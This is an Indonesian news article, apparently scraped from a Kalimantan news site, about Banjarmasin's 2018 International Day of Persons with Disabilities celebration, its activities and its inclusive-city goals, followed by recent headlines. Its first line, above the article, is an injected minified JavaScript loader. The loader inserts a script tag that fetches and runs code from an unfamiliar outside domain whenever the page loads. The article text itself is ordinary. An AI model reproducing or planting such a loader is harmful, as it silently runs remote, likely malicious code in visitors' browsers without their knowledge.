(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

1.000 Peserta Akan Meriahkan Hari Disabilitas Internasional Banjarmasin


BANJARMASIN, Perayaan Hari Disabilitas Internasional (HDI) Banjarmasin yang akan digelar pada tanggal 1-2 Desember 2018 bakal meriah dan berbeda dari sebelumnya. Selain akan dihadiri oleh penyandang disabilitas, peringatan HDI 2018 juga dihadiri siswa sekolah inklusi, perusahaan, perwakilan pemerintah pusat, serta para duta besar yang mendukung gerakan kota inklusi. Tak tanggung-tanggung, peserta ditarget 1000 orang lebih.

Ajang ini merupakan hasil kerja sama antara Pemko Banjarmasin dan Sentra Advokasi Perempuan Difabel dan Anak (Sapda) Jojga. “Peringatan kali ini sangat berbeda. Pemko mendorong komunitas penyandang disabilitas untuk terlibat aktif sebagai penyelenggara,” ujar Ketua Pelaksana HDI, Slamet Triadi.

Berbagai kegiatan juga akan memeriahkan acara ini mulai dari lomba menggambar dan mewarnai, melukis di atas tanggui, pembacaan puisi, fotografi dan tari. Selain itu, peringatan HDI 2018 ini juga bakal diramaikan dengan digelarnya deklarasi duta anak inklusi, seminar dan lokakarya, serta talkshow. Seluruh rentetan kegiatan ini  mengambil tajuk “Kayuh Baimbai: Kami Bisa, Kita Sama.”

Slamet menuturkan, sudah seharusnya, peringatan ini diadakan oleh penyandang disabilitas secara mandiri. “Ini adalah momen untuk menunjukkan kepada dunia bahwa kami ada,” ujar pria yang aktif menjabat sebagai Ketua Perkumpulan Penyandang Disabilitas Indonesia (PPDI) Kota Banjarmasin ini  di Balai Kota, Selasa (20/11).

Ia menegaskan ada tiga hal utama yang hendak disampaikan kepada publik. Pertama, pengarusutamaan disabilitas. Kedua, mempromosikan inklusifitas bahwa setiap orang berhak untuk tidak didiskriminasi sebagai warga negara. Terakhir, mendorong keterlibatan penyandang disabilitas dalam berkarya dan berkreasi. “Tidak ada perbedaan dalam hak maupun kewajiban. Mari mewujudkan masyarakat inklusi. Bebas terbuka tanpa ada yang terpinggirkan,” ujarnya.

Tak sekadar menggelar perlombaan, puncak peringatan HDI juga akan diramaikan dengan  pameran hasil karya disabilitas, pelelangan hasil karya peserta lomba, penampilan tarian oleh penyandang disabilitas, penampilan puisi pemenang lomba, pantomim gerak bahasa tubuh oleh penyandang disabilitas, penampilan drama oleh penyandang disabilitas, kampanye bahasa isyarat rungu wicara, konvoi roda tiga dan jalan santai, serta roleplay menjadi difabel oleh non difabel.

Kasubbid Politik Pemerintahan Bidang Sosial Budaya Barenlitbangda Kota Banjarmasin, Dr. Ibnu Sabil, S.STP. M.AP. mengatakan acara ini merupakan alat untuk mewujudkan kota inklusi. Peringatan HDI juga merupakan momentum pemkot untuk mempromosikan program-program pemerintah yang telah dan akan dilaksanakan pada tahun 2019 mendatang.

Ambil contoh, Kota Banjarmasin bakal memiliki kelompok paduan bahasa isyarat. Diisi oleh para rungu wicara.“Banjarmasin akan mempelopori ini. Sebelumnya wacana ini belum pernah ada di Indonesia, bahkan dunia,” ujar Sabil.

Banjarmasin juga akan mempelopori suara politik penyandang disabilitas. “Bukan hanya sebagai pemilih, tapi dapat kuorum seperti kaum perempuan yang diakui pemerintah. Rencana ini akan disampaikan kepada pemerintah pusat,” kata Sabil.

Peringatan ini juga akan menjadi pemantik awal informasi job fair bagi penyandang disabilitas. Ini bertujuan untuk menyongsong wacana job fair yang rencananya bakal digelar tahun 2019 mendatang.

Selain menggelar Peringatan HDI 2018, Sabil menuturkan hubungan antara pemkot dan Sapda memang telah terjalin lama. Buktinya, dengan kerja sama dibentuknya roadmap kota inklusi untuk mewujudkan kota Banjarmasin sebagai menjadi ramah disabilitas.

Road map yang dimaksud Sabil telah diluncurkan secara resmi oleh Walikota Ibnu Sina. Menariknya, kota yang berjuluk Seribu Sungai ini menjadi daerah pertama di Indonesia yang meluncurkan dokumen cetak biru untuk mencapai kota inklusi.(mario)

Reporter: Mario
Editor: Chell

Desy Arfianty

Recent Posts

Nilai TKA Jadi Syarat Wajib untuk Siswa Eligible SNBP 2026

KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More

2 jam ago

Korban Tenggelam di Sungai Martapura Ditemukan Senin Dinihari

KANALKALIMANTAN.COM, BANJARMASIN — Remaja laki-laki yang tenggelam di Sungai Martapura, Kota Banjarmasin ditemukan dalam keadaan… Read More

4 jam ago

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

17 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

17 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

19 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

23 jam ago

This website uses cookies.